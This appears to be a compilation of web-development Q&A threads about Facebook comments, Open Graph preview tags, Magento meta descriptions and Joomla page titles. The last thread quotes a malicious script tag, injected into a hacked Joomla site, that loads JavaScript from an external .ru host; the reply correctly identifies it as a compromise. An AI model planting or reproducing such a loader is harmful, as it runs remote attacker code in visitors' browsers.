I have Faceboook social comments embedded on my website: http://www.photodharma.net, but when I look at the Comment moderation tool only the comments on the front page show up, and I was not even informed about those.
Each of the pages has the following code embedded:
<meta property="fb:admins" content="myname"/ >
<meta property="fb:app_id" content="my-id"/>
So my question is how can I set it so that all comments appear in the Comment moderation tool, and how can I be informed when someone makes a new comment?
Many thanks for any help you can give.
Normally the Comment Moderation tool does all that automatically for you. So, from what I can tell the CM-tool isn't able to connect to the comment boxes on your website.
These are the only two things I can think of:
There's no need for the fb:admins meta-tag since you can choose who moderates your comments using the CM-tool. Delete this meta-tag, it might cause conflicts.
In https://developers.facebook.com/ >> Apps >> Your Comment Appname
Go to '+ edit app' and make sure that the 'App domain' field contains a url that does not include "http://www.", just your plain url-name.
Make sure that under the 'website' tab at the bottom, your complete website-url is filled out, including the "http://www."
Curious to see if this was of any help. I understand your frustration though, the documentation of the fb:comments is seriously lacking imho.
Also you need to make sure the correct app id is configured on the website. Facebook would look for
<meta property="fb:app_id" content="YOUR APP ID HERE" />
which will add the comments in the right place.

I'm creating a website that I want people to share and when they share a link I want them to see an image that I curate. How can I set that up?
The site relies heavily on javascript and background images... is that maybe why nothing is turning up automatically?
The main places this would be nice are: Facebook, Slack, Pinterest, ... places like that.
In order to generate nice preview links you need to do some additional work.
To control how your link would be viewed you would need to set up special meta tags. For example,Facebook uses Open Graph tags:
<meta property="og:image"
content="http://graphics.myfavnews.com/images/logo-100x100.jpg" />

Quick question, since I've added the magento cookie options in 1.7.0.2 google has swapped my description (the bit of text under main link in search results) for the text that I have in my cookie confirmation box. Not only is this terrible for people that find us through google, I doubt google bot will be all too pleased with it. All my pages have descriptions set but for some reason they are not being used? the cookie explanation text is used instead. Does anyone know how I can change this? or stop it happening?
Many Thanks
I was facing the exact same problem: Google was showing the cookie warning text as description in search results for my Magento store.
The problem turned out to be my Meta description being too short. Solution for me was making the meta description longer, atleast about 150 characters (including spaces).
What goes in your < description > tag is found in Magento's backoffice: system>configuration>general>design, under HTML head, Default Description.
After save, I cleared cache and checked the page source for showing the updated meta. To make things with Google go faster, I used their webmaster tools to submit the store url for crawling. After a little wait, Google was showing the store's description in the search results just like it's supposed to.
Hope this can still help you!
Cheers
Could you paste your cookie confirmation box and how it works, as well as some of your meta descriptions?
Blank out as necessary, just need the gist of the structure.
I was hoping someone can help me fix an issue. When someone posts a link to my joomla created website, they get the heading "Whats New?", which is my default article page for the site. It is the current blog articles written.
For example, if someone posted my link on facebook, it would look like this:
Whats New?
MyDomain.com
Description of website goes here...
Everything looks great except for the "Whats New?". Is there a way to put My webpage name instead of the name of the default page? How about showing an image? When posted on facebook, there is just text and no image used.
Thanks, any help would be greatly appreciated
Facebook uses Opengraph data to build those posts. If facebook isn't offered OpenGraph data, then it will use its own methods to try and find the information it needs. Sometimes with useless results. There are a lot of options to fix this. Joomla extensions has a few opengraph extensions for you to install, some of those should work fine. You can always write something yourself or add the data in your template. But don't expect results right away, because facebook caches those media objects for some time.
Open graph: https://developers.facebook.com/docs/opengraph/
Joomla Extensions: http://extensions.joomla.org/extensions/site-management/seo-a-metadata/open-graph
There are more ways to fix this, but this is probably the easiest for you. Hope it helps.
Good Luck.
In the Joomla backend, do the following:
Open the menu item the the article is assigned to.
On the right hand side, open the Page Display Options panel
Add whatever you like to the Browser Page Title parameter.
Hope this helps
I searched web for few hours but did not find anything so far. So just putting it out here, is there a way that using a link i can create a digg style story? With image, headline and story preview? Is there any api in which can be used in mvc3 or any code out there which does this already? Would appreciate any help in this!
I am putting a bounty on this question. Anyone who can provide me simple asp.net code to get a story from news site using a link, will get the bounty. Thanks!
Altough i'm not familliar with this functionallity in Digg, it sounds a lot like what Facebook also does. As far as I could find their is no pre made code available nor services available, but it shoudn't be that hard to implement yourself:
Download the page source
Search for the following tags:
<meta name="title"
<meta name="discription"
<link rel="image_src"
Use the values of those elements to build your preview
Because not every website uses these tags, you can, for example, do the following subsitiutions:
No meta title tag? --> Use the <title> element content.
No meta description tag? --> Use the, or a part of, the first nicely filled paragraph
No link image_src? --> Use any of the images on the page
Be creative with the method of substitution to see which method yields the best results.
For a bit more detailt about the tags: http://umairj.com/29/modify-how-the-shared-item-appears-on-facebook/ (It talks about facebook, but is applicable for anyone wanting to implement this kind of functionallity)
You can try using YQL with jQuery to achieve that.

I have a joomla site running but recently I noticed a script tag at the top of the page that looks spammy.
<script type="text/javascript" src="http://lhljoi.ru/tmp/go2.php?site=13"></script>
This tag is even before the doctype element.
I won't be able to share the site's url since boss hasn't allowed to.
Please help.
Thanks!
If this code is not added by your team, it can be someone who hacked your systems and modified the files, particulary when its placed even before the doctype. Check with your server administration team and look for any other infected sites on same server. Or try to roll back to a previous backup
